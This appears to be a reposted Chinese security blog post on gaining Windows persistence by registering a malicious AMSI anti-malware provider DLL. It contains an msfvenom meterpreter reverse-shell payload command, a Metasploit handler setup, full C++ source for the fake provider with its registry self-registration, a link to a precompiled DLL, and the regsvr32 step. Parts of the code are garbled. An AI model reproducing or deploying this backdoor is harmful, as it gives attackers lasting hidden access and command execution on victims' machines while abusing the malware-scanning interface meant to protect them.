windows持久化后门之AMSI反恶意软件扫描接口

admin 2024年1月21日15:22:00评论7 views字数 9513阅读31分42秒阅读模式

AMSI介绍

Windows 开发了反恶意软件扫描接口(AMSI)标准,允许开发人员在其应用程序中集成恶意软件防御。其主要作用是在应用程序启动时检测可执行文件,并扫描启动后可能会打开的后续资源文件,从而保护应用程序免受恶意软件的攻击。AMSI 适用于基于签名的检测,对于每个特定的恶意关键字、URL、函数或过程,它在数据库中都有一个相关的签名。如果攻击者再次在代码中使用相同的关键字,AMSI 就会立即阻止执行。

windows持久化后门之AMSI反恶意软件扫描接口

AMSI 集成到 Windows 10 的以下组件中。

  • 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装提升)

  • PowerShell(脚本、交互式使用和动态代码评估)

  • Windows 脚本宿主(wscript.exe 和 cscript.exe)

  • JavaScript 和 VBScript

  • Office VBA 宏    

AMSI使用方式

AMSIProvider 是负责 Antimaware 产品扫描的组件。此组件必须实现具有以下方法的 IAntimalwareProvider 接口

windows持久化后门之AMSI反恶意软件扫描接口

点击图片可查看完整电子表格

若要假装 AMSI Provider,必须将组件 (DLL) 注册为进程内 COM 服务器。注册过程可以通过两种方式完成:

  1. 将 DllRegisterServer 方法实现到 DLL 中,并使用 regsvr32 命令注册它

  2. 手动设置以下注册表项

  1. HKEY_LOCAL_MACHINESOFTWAREClassesCLSIDGUID(默认) REG_SZ “提供程序说明”

  2. HKEY_LOCAL_MACHINESOFTWAREClassesCLSIDGUIDInprocServer32(默认) REG_EXPAND_SZ “Path to Dll”- ThreadingModel REG_SZ“Both”

  3. HKLMSOFTWAREMicrosoftAMSIProviders“GUID”

注册Provider程序需要管理员权限。注册后,Dll 将被加载到涉及 AMSI(powershell、clr 等)和 Scan 方法的任何进程中

Plaintext                  
HRESULT Scan(In IAmsiStream* stream, Out AMSI_RESULT* result)

将在扫描内容时调用

持久化思路    

如果我们可以提供恶意 DLL 并将其注册为Provider程序,则可以进行持久性,从而触发反恶意软件的“扫描请求”。此外,从 Scan 方法传递要分析的内容,因此在 powershell 的情况下,我们将有可能分析发送的命令,然后仅在特定单词的情况下触发恶意软件的执行

实战

Metasploit 框架“msfvenom”可用于生成有效负载,该有效负载将在 PowerShell 控制台中键入触发词时执行。

Python                  
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LPORT=-f exe > /home/kali/pentestlab.exe

windows持久化后门之AMSI反恶意软件扫描接口

Metasploit“handler”模块可以配置为捕获将要执行的有效负载。

Python                  
use exploit/multi/handler                  
set payload windows/x64/meterpreter/reverse_tcp                  
set LHOST
set LPORTrun

windows持久化后门之AMSI反恶意软件扫描接口    

Microsoft 提供了用于实现示例 AMSI 提供程序的代码。但是,由于缺少一些必需的标头,并且未定义某些函数,因此需要魔改下,github上有大佬已经实现了利用方式,可以访问https://github.com/netbiosX/AMSI-Provider。以下代码表示在执行触发器时将打开 calc.exe 的假 AMSI 提供程序。

Python                  
#include "stdafx.h"                  
#include#include
#include
#include
#include
#include
             
using namespace Microsoft::WRL;              
             
HMODULE g_currentModule;              
             
typedef void (NTAPI* _RtlInitUnicodeString)(              
PUNICODE_STRING DestinationString,              
PCWSTR SourceString              
);              
             
typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)(              
PUNICODE_STRING String1,              
PUNICODE_STRING String2,              
BOOLEAN CaseInsetive              
);              
             
DWORD WINAPI MyThreadFunction(LPVOID lpParam);              
void ErrorHandler(LPTSTR lpszFunction);              
             
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved)              
{              
switch (reason)              
{              
case DLL_PROCESS_ATTACH:              
g_currentModule = module;              
DisableThreadLibraryCalls(module);              
Module::GetModule().Create();                
break;                
               
case DLL_PROCESS_DETACH:                
Module::GetModule().Terminate();                
break;                
}                
return TRUE;                
}                
               
#pragma region COM server boilerplate                
HRESULT WINAPI DllCanUnloadNow()                
{                
return Module::GetModule().Terminate() ? S_OK : S_FALSE;                  
}                  
                 
STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv)                  
{                  
return Module::GetModule().GetClassObject(rclsid, riid, ppv);                  
}                  
#pragma endregion                  
                 
class                  
DECLSPEC_UUID("2E5D8A62-77F9-4F7B-A90C-2744820139B2")                  
PentestlabAmsiProvider : public RuntimeClass                   <RuntimeClassFlags, IAntimalwareProvider, FtmBase>                    
{                    
public:                    
IFACEMETHOD(Scan)(_In_ IAmsiStream * stream, _Out_ AMSI_RESULT * result) override;                    
IFACEMETHOD_(void, CloseSession)(_In_ ULONGLONG session) override;                    
IFACEMETHOD(DisplayName)(_Outptr_ LPWSTR * displayName) override;                    
                   
private:                    
LONG m_requestNumber = 0;                    
};                    
                   
                   
HRESULT PentestlabAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)                    
{                    
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");                    
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");                    
                   
UNICODE_STRING myTriggerString1;                    
RtlInitUnicodeString(&myTriggerString1, L"pentestlab");                    
                   
UNICODE_STRING myTriggerString2;                    
RtlInitUnicodeString(&myTriggerString2, L""pentestlab"");                    
                   
UNICODE_STRING myTriggerString3;                    
RtlInitUnicodeString(&myTriggerString3, L"'pentestlab'");                    
                   
ULONG actualSize;                    
ULONGLONG contentSize;                    
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast(&contentSize), &actualSize)) &&                    
actualSize == sizeof(ULONGLONG))                    
{                    
*result = AMSI_RESULT_NOT_DETECTED;                    
                   
return S_OK;                    
}                    
                   
PBYTE contentAddress;                    
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast(&contentAddress), &actualSize)) &&                      
actualSize == sizeof(PBYTE))                      
{                      
*result = AMSI_RESULT_NOT_DETECTED;                      
                     
return S_OK;                      
}                      
                     
                     
if (contentAddress)                      
{                      
if (contentSize < 50)                      
{                      
UNICODE_STRING myuni;                      
myuni.Buffer = (PWSTR)contentAddress;                      
myuni.Length = (USHORT)contentSize;                      
myuni.MaximumLength = (USHORT)contentSize;                      
                     
                     
{                      
                     
DWORD thId;                      
CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);                      
}                      
}                      
}                      
                     
*result = AMSI_RESULT_NOT_DETECTED;                      
                     
return S_OK;                      
}                      
                     
void PentestlabAmsiProvider::CloseSession(_In_ ULONGLONG session)                      
{                      
                     
}                      
                     
HRESULT PentestlabAmsiProvider::DisplayName(_Outptr_ LPWSTR* displayName)                      
{                      
*displayName = const_cast(L"Sample AMSI Provider");                      
return S_OK;                      
}                      
                     
CoCreatableClass(PentestlabAmsiProvider);                      
                     
DWORD WINAPI MyThreadFunction(LPVOID lpParam)                      
{                      
system("c:\Windows\System32\calc.exe");                      
                     
return 0;                      
}                      
                     
                     
#pragma region Install / uninstall                      
                     
HRESULT SetKeyStringValue(_In_ HKEY key, _In_opt_ PCWSTR subkey, _In_opt_ PCWSTR valueName, _In_ PCWSTR stringValue)                      
{                      
LONG status = RegSetKeyValue(key, subkey, valueName, REG_SZ, stringValue, (wcslen(stringValue) + 1) * sizeof(wchar_t));                      
return HRESULT_FROM_WIN32(status);                      
}                      
                     
STDAPI DllRegisterServer()                      
{                      
wchar_t modulePath[MAX_PATH];                      
if (GetModuleFileName(g_currentModule, modulePath, ARRAYSIZE(modulePath)) >= ARRAYSIZE(modulePath))                      
{                      
return E_UNEXPECTED;                      
}                      
                     
wchar_t clsidString[40];                      
if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)                      
{                      
return E_UNEXPECTED;                      
}                      
                     
wchar_t keyPath[200];                      
HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);                      
if (FAILED(hr)) return hr;                      
                     
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");                      
if (FAILED(hr)) return hr;                      
                     
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls\InProcServer32", clsidString);                      
if (FAILED(hr)) return hr;                      
                     
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, modulePath);                      
if (FAILED(hr)) return hr;                      
                     
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, L"ThreadingModel", L"Both");                      
if (FAILED(hr)) return hr;                      
                     
// Register this CLSID as an anti-malware provider.                      
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);                      
if (FAILED(hr)) return hr;                      
                     
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");                      
if (FAILED(hr)) return hr;                      
                     
return S_OK;                      
}                      
                     
STDAPI DllUnregisterServer()                      
{                      
wchar_t clsidString[40];                      
if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)                      
{                      
return E_UNEXPECTED;                      
}                      
                     
// Unregister this CLSID as an anti-malware provider.                      
wchar_t keyPath[200];                      
HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);                      
if (FAILED(hr)) return hr;                      
LONG status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);                      
if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);                      
                     
// Unregister this CLSID as a COM server.                      
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);                      
if (FAILED(hr)) return hr;                      
status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);                      
if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);                      
                     
return S_OK;                      
}                      
#pragma endregion
</RuntimeClassFlags
       

将其编译,可以使用 regsvr32 实用程序向系统注册 AMSI 提供程序。实际用的时候我们直接用大佬编译好的dll应该就可以,不过最好还是根据自己的系统架构、版本再编译一下会更好;已经编译好的dll地址:https://github.com/netbiosX/AMSI-Provider/blob/main/x64/Release/AmsiProvider.dll

Python                  
regsvr32 AmsiProvider.dll

windows持久化后门之AMSI反恶意软件扫描接口

以下注册表项将包含任意 AMSI 提供程序。

Python                  
HKEY_LOCAL_MACHINESOFTWAREMicrosoftAMSIProviders

windows持久化后门之AMSI反恶意软件扫描接口

在 PowerShell 控制台上传递关键字时,将执行目标有效负载,并将连接接收回命令和控制服务器

windows持久化后门之AMSI反恶意软件扫描接口

msf上就可以获取到目标机器的反弹shell

windows持久化后门之AMSI反恶意软件扫描接口

为了不影响大家的阅读,在最后想调研一下,因为身在互联网中,也认识一些朋友,对于搞安全的人才需求还是比较多的,想了解下,后续发布一些内推贴的必要性,如果大家感兴趣的话,后续就会跟进,如果不想的话,有相关需求的可以直接关注公众号后点击左下方内推招聘,也能够获取到相关信息及联系方式

原文始发于微信公众号(暴暴的皮卡丘):windows持久化后门之AMSI反恶意软件扫描接口

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月21日15:22:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化后门之AMSI反恶意软件扫描接口http://cn-sec.com/archives/2414934.html

发表评论

匿名网友 填写信息